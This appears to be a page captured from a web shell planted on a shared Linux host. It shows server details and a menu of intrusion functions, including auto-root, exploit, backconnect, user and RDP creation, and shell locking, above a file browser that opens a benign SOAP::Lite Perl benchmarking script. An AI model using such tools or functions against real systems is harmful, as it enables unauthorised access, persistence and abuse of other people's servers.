Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libsoap-lite-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
COM
[ DIR ]
drwxr-xr-x
My
[ DIR ]
drwxr-xr-x
SOAP
[ DIR ]
drwxr-xr-x
UDDI
[ DIR ]
drwxr-xr-x
WSDL
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
XMLRPC
[ DIR ]
drwxr-xr-x
forms
[ DIR ]
drwxr-xr-x
server
[ DIR ]
drwxr-xr-x
allclients.pl
1.3
KB
-rw-r--r--
authentication.pl
1.1
KB
-rw-r--r--
autoexamples.pl
890
B
-rw-r--r--
chat.pl
1.1
KB
-rw-r--r--
compress.pl
488
B
-rw-r--r--
cookie.pl
458
B
-rw-r--r--
cookieauth.pl
386
B
-rw-r--r--
customschema.pl
3.12
KB
-rw-r--r--
fullsearch.pl
1023
B
-rw-r--r--
getdom.pl
1.77
KB
-rw-r--r--
google.pl
886
B
-rw-r--r--
inline.daemon
672
B
-rw-r--r--
iterator.pl
866
B
-rw-r--r--
joke.pl
469
B
-rw-r--r--
oneliners
187
B
-rw-r--r--
oo-apache.pl
798
B
-rw-r--r--
parametersbyname.pl
979
B
-rw-r--r--
pingpong.pl
1.01
KB
-rw-r--r--
soapmark.pl
1.92
KB
-rw-r--r--
soapsmtp.pl
768
B
-rw-r--r--
tcpclient.pl
572
B
-rw-r--r--
terraserver.pl
1.29
KB
-rw-r--r--
weblog.pl
480
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : soapmark.pl
#!/usr/bin/perl -w #!d:\perl\bin\perl.exe # -- SOAP::Lite -- soaplite.com -- Copyright (C) 2001 Paul Kulchenko -- use strict; use Benchmark; use SOAP::Lite on_fault => sub {my($soap, $res) = @_; die ref $res ? $res->faultdetail : $soap->transport->status, "\n"}; use My::Examples; my %dests = ( local => ['local://localhost/cgi-bin/soap.cgi' => 'http://www.soaplite.com/My/Examples'], mod_perl => ['http://localhost/soap/' => 'http://www.soaplite.com/My/Examples'], CGI => ['http://localhost/cgi-bin/soap.cgi' => 'http://www.soaplite.com/My/Examples'], daemon => ['http://localhost:81/' => 'http://www.soaplite.com/My/Examples'], 'Apache::Registry' => ['http://localhost/mod_perl/soap.mod_cgi' => 'http://www.soaplite.com/My/Examples'], tcpip => ['tcp://localhost:82' => 'http://www.soaplite.com/My/Examples'], direct => ['' => 'My::Examples'], ); my $s; my %tests = ( simple => sub {$s->getStateName(1)}, array => sub {$s->getStateName((1) x 100)}, string => sub {$s->getStateName(1 x 100)}, ); my $testnum = 3; my $testtime = 5; my %result; print STDERR <<DISCLAIMER; This test should be used only for comparison different Perl server implementations running in your environment. DISCLAIMER print STDERR "All tests may take up to ", keys(%dests) * keys(%tests) * $testnum * $testtime, " sec\n"; foreach my $dest (keys %dests) { my($proxy, $uri) = @{$dests{$dest}}; $s = $proxy ? SOAP::Lite->proxy($proxy)->uri($uri) : $uri; foreach my $test (keys %tests) { printf STDERR "%s [%s] ", $dest, $test; eval {$tests{$test}->()}; warn('skipped, ', $@), next if $@; my($tps) = 0; for (1..$testnum) { my $r = Benchmark::countit($testtime => $tests{$test}); my($pu, $ps, $n) = @{$r}[1,2,5]; $tps += $n / ($pu + $ps); print STDERR "."; } printf STDERR " %.5s call/s\n", $result{$dest}{$test} = $tps / $testnum; } }
Close